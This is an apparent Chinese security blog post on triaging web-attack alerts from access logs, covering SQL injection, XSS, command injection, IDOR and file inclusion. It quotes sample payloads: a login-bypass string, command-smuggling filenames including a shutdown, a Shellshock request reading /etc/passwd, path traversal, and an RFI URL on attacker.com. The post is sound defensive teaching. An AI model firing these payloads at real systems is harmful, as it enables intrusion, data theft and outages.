通用web漏洞应急排查思路(一) 

通用web漏洞应急排查思路(一) 

应急响应日常处置告警时打交道最多的就是各类 Web 攻击。每次拿到一条告警,第一个问题往往是:这是真实攻击吗?攻击成功了吗?要回答这两个问题,得先搞清楚 Web 应用的底层通信机制,然后才能谈怎么在日志里找到蛛丝马迹,提升排查效率。

Web 应用通信原理

要发现异常,首先得知道”正常”长什么样。Web 应用使用 HTTP 协议通信,它位于 OSI 模型的第 7 层(应用层)。在 HTTP 工作之前,Ethernet、IP、TCP、SSL 这些协议已经在底层各司其职了。

HTTP 的通信模式很简单:客户端发出请求,服务端处理后返回响应。

HTTP 请求的结构包含三部分:请求行、请求头、请求体。请求行里有 HTTP 方法(GET/POST 等)和目标资源路径;请求头携带了一堆服务端需要处理的元信息;请求体则是要发给服务端的数据。

几个在应急分析中特别有价值的请求头:

  • Host:现在一台服务器上可能跑着多个域名,浏览器用这个头告诉服务器你想访问哪个站。
  • Cookie:Web 应用把会话信息存在这里,你不需要每次都重新登录就是靠它。
  • User-Agent:记录了客户端的浏览器和操作系统信息。值得注意的是,自动化扫描工具的 User-Agent 往往和正常浏览器不一样,这是识别自动化攻击的重要线索。
  • Connectionclose 表示收到响应后关闭 TCP 连接,keep-alive 表示保持连接。

HTTP 响应同样分三部分:状态行(含状态码)、响应头、响应体。状态码分几个大类:1xx 是信息性响应,2xx 表示成功,3xx 是重定向,4xx 是客户端错误,5xx 是服务端错误。响应头里的 Content-Length 在判断 IDOR 攻击是否成功时很有用,后面会讲到。

SQL 注入

什么是 SQL 注入

SQL 注入(SQLi)发生在 Web 应用把用户输入的数据未经过滤就直接拼进 SQL 查询语句时。

按照数据传输的方式,SQL 注入大致分三类:

  • In-band SQLi(经典型):攻击请求和结果通过同一个通道传输,最容易利用。
  • Inferential SQLi(盲注):攻击者看不到直接的查询结果,只能通过应用的行为差异来推断数据库的信息。
  • Out-of-band SQLi(带外型):查询结果通过另一个通道带出,比如通过 DNS 请求把数据传回攻击者。

攻击原理

登录页面是 SQL 注入的高发地带。正常情况下,应用会构造这样的查询:

SELECT * FROM users WHERE username = 'john' AND password = 'supersecretpassword'

如果攻击者在用户名输入框填入 ' OR 1=1 -- -,最终执行的 SQL 变成:

SELECT * FROM users WHERE username = '' OR 1=1 -- - AND password = 'supersecretpassword'

-- - 之后的内容在 SQL 里是注释,会被忽略。1=1 永远为真,所以这个查询永远成立,攻击者不需要知道任何用户名和密码就能登录。

成功的 SQL 注入可以导致:认证绕过、在系统上执行命令(通过 xp_cmdshell 等)、窃取敏感数据、篡改或删除数据库记录。

怎么在日志里发现 SQL 注入

检测时几个要点:

  • 不要只看表单字段User-Agent 这类请求头同样可以作为注入点。
  • 找 SQL 关键词INSERTSELECTWHEREUNION 等词出现在用户输入里就要警惕。
  • 找特殊字符:单引号 '、短横线 -、括号等 SQL 常用符号。
  • URL 解码再看:日志里大量的 %XX 序列是 URL 编码,解码后往往一目了然。

看到日志里请求 URL 包含大量 % 符号,解码之后出现 UNIONSELECTANDCHR 这样的词,基本可以断定是 SQL 注入。

判断是否是自动化工具

  • User-Agent 里直接带有工具名称(如 sqlmap)
  • 每秒请求数异常高(正常用户每秒大约 1 个请求,自动化工具可能每秒 50 个以上)
  • Payload 异常复杂,像是工具生成的而非手工构造的

判断攻击是否成功:直接看响应内容是最准确的,但实际工作中往往没有响应内容。可以退而求其次,观察响应大小(Content-Length)是否在某个时间点出现明显异常,如果某次响应比其他请求大出很多,有理由怀疑数据被成功提取。

XSS跨站脚本攻击

三种类型

XSS(跨站脚本)允许攻击者在受害者的浏览器里执行恶意代码:

  • Reflected XSS(反射型):恶意脚本通过 URL 参数传入,服务端把它原样”反射”回响应里,不会持久存储。
  • Stored XSS(存储型):恶意脚本被永久保存在服务器上(比如数据库),每个访问该页面的用户都会被执行。这是危害最大的一种。
  • DOM Based XSS:漏洞完全在客户端,攻击者通过修改 DOM 环境来触发脚本执行,不经过服务端。

攻击者能拿到什么

XSS 是客户端攻击,有人会觉得它没有服务端漏洞严重,但这个认知是错的。攻击者可以通过 XSS 窃取用户的 Session Cookie(相当于直接拿到登录态)、捕获键盘输入(包括密码),甚至把用户重定向到钓鱼页面。

检测方法

  • 找关键词alertscriptpromptconsole.log,这些词出现在请求参数里是典型特征。
  • 找特殊字符<%3C)和 >%3E)是 HTML 标签的边界符,也是 XSS payload 的常见成分。
  • URL 解码后再分析:日志里的 %3Cscript%3E 解码后是 <script>,不解码很可能看漏。

实际案例:在一份 Apache 访问日志里,所有请求都指向 WordPress 的 /blog/ 页面,只有 ?s= 参数在变化。URL 解码后,参数里清晰地出现了 XSS payload,一目了然。

请求时间方面,每 3-4 秒一个请求,加上 User-Agent 显示是 urllib 库而不是正常浏览器,可以判断是自动化扫描工具在跑,不是人工手测。

命令注入

命令注入比 XSS 和 SQL 注入更直接——攻击者的目标是在服务器的操作系统上执行任意命令。

举个例子:一个 Web 应用会把用户上传的文件名拼进 shell 命令来执行复制操作。如果用户上传了一个名为 zgao;ls;.txt 的文件,实际执行的命令就变成了:

cp zgao
ls
.txt

分号 ; 是命令分隔符。操作系统会依次执行三条命令,其中 ls 是攻击者塞进去的。如果攻击者把文件命名为 zgao;shutdown;.txt,服务器就会被关机。更极端的情况是,攻击者通过这种方式建立反弹 Shell,直接拿到服务器的交互式控制权。

这类漏洞之所以危害极大,是因为攻击者获得的权限通常就是 Web 应用用户的权限。如果应用配置不当,那就是管理员权限。

检测要点

  • 检查所有请求字段,不只是 URL 参数,请求头同样可以是注入点。
  • 找终端命令关键词lsdircatcptypewhoami 等出现在用户输入里要高度警惕。
  • 了解常见 payload:攻击者发现漏洞后通常会尝试建立反弹 Shell,熟悉这些 payload 有助于判断攻击意图。

真实案例 — Shellshock

GET / HTTP/1.1
Host: yourcompany.com
User-Agent: () {:;}; echo "NS:" $(</etc/passwd)

这是 2014 年曝光的 Shellshock 漏洞的利用方式。攻击者把 bash 命令藏在 User-Agent 头里,利用 bash 对环境变量的错误处理机制,成功在服务端执行了命令——/etc/passwd 文件的内容被带出并通过 HTTP 响应头返回给攻击者。

User-Agent 里出现 bash 命令语法,这就是典型的命令注入特征,值得在日志分析中重点关注。

IDOR访问控制漏洞

什么是 IDOR

IDOR(不安全的直接对象引用)是 OWASP 定义的”失效访问控制”类别下的一种漏洞。漏洞的本质是:应用直接用用户传入的参数去引用数据库对象,却没有验证当前用户是否有权访问该对象。

攻击者只需要把请求里的 ?user_id=123 改成 ?user_id=124,就可能看到别人的数据。

为什么难检测

IDOR 没有像 SQL 注入那样的特殊字符,也没有像 XSS 那样的脚本标签,请求看起来完全”合法”,这让基于 payload 特征的检测方法基本失效。

另一个现实问题:HTTP 响应通常不会被记录进访问日志,而判断 IDOR 是否成功恰恰需要看响应内容。

实用检测策略

  • 检查所有参数,IDOR 可以藏在任何地方,不要只盯着明显的 ID 参数。
  • 看同一页面的请求数量:攻击者发现 IDOR 后通常会暴力枚举所有用户的数据,同一个端点在短时间内出现大量来自同一源 IP 的请求是明显异常。
  • 找规律id=1, id=2, id=3 这种连续递增的参数值,几乎可以断定是枚举行为。
  • 响应大小是关键辅助指标:如果日志里记录了响应大小(Content-Length),对比不同请求的响应大小可以推断攻击是否获取到了数据——响应体明显更大往往意味着数据被成功返回。

实际案例:WordPress 的 wp-admin/user-edit.php?user_id= 这个页面包含注册用户的信息。日志里出现了来自同一 IP 的大量请求,user_id 参数从 1 一路递增到很大的数字,这是典型的 IDOR 枚举攻击。

文件包含(LFI/RFI)

LFI 与 RFI 的区别

  • LFI(本地文件包含):攻击者通过操控参数,让服务端读取并包含服务器上本地的文件,比如 /etc/passwd
  • RFI(远程文件包含):攻击者让服务端去加载并执行托管在远程服务器上的恶意文件。

两者的共同根源都是:用户输入的数据未经过滤就被用于文件包含操作。

攻击原理

举个 LFI 的例子,一个 Web 应用根据 language 参数加载对应的语言文件:

  • 正常请求:?language=en → 加载 website/en/home.php
  • 攻击 payload:?language=/../../../../../../../../../etc/passwd%00 → 实际加载 /etc/passwd

../ 用于向上跳目录,攻击者反复跳直到到达根目录,然后直接指定目标文件路径。末尾的 %00 是空字节,用于截断后面的字符串,让 /home.php 不被拼接进去(在较旧的 PHP 版本中有效)。

RFI 则是把远程 URL 塞进参数:?language=http://attacker.com/shell.php,服务端会把攻击者控制的脚本下载并执行。

成功的文件包含攻击可以导致:任意代码执行、敏感信息泄露、拒绝服务。

检测要点

  • 找路径穿越字符../..\/ 出现在参数值里是高度可疑的信号。
  • 认识常见的敏感文件路径/etc/passwd/etc/shadow/proc/self/environC:\windows\system32\drivers\etc\hosts 等,这些路径出现在请求里几乎是 LFI 的铁证。
  • 找 HTTP/HTTPS 关键词:参数里出现 http://https:// 是 RFI 的典型标志,因为攻击者需要提供远程文件的地址。

总结

处理 Web 攻击告警,不管是哪种类型,有几个通用的思路我觉得值得记住:

URL 解码是第一步。日志里充斥着 %XX 编码,不解码无法分析。不要把访问日志上传到第三方在线解码工具,那是真实数据,涉及敏感信息。

User-Agent 要纳入分析范围。很多人只看 URL 参数,但 User-Agent 同样可以作为注入点,也是识别自动化工具的重要字段。工具名直接写在 User-Agent 里的情况并不罕见。

请求频率是判断自动化攻击的有效指标。正常用户每秒大概发 1 个请求,自动化扫描工具每秒可以发几十上百个。同一秒内出现 50+ 条相同类型的请求,基本可以排除手工测试的可能性。

响应大小有时比响应内容更有价值。很多环境不记录完整的 HTTP 响应体,但 access log 通常会记录响应大小。对比不同请求的响应大小异常,是判断某次攻击是否成功的重要手段,尤其在分析 SQL 注入和 IDOR 时。

无法确定攻击是否成功,就升级处置。很多时候证据不够充分,这时候不要自己硬判,上报给高级分析师是正确的选择。

赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

发表评论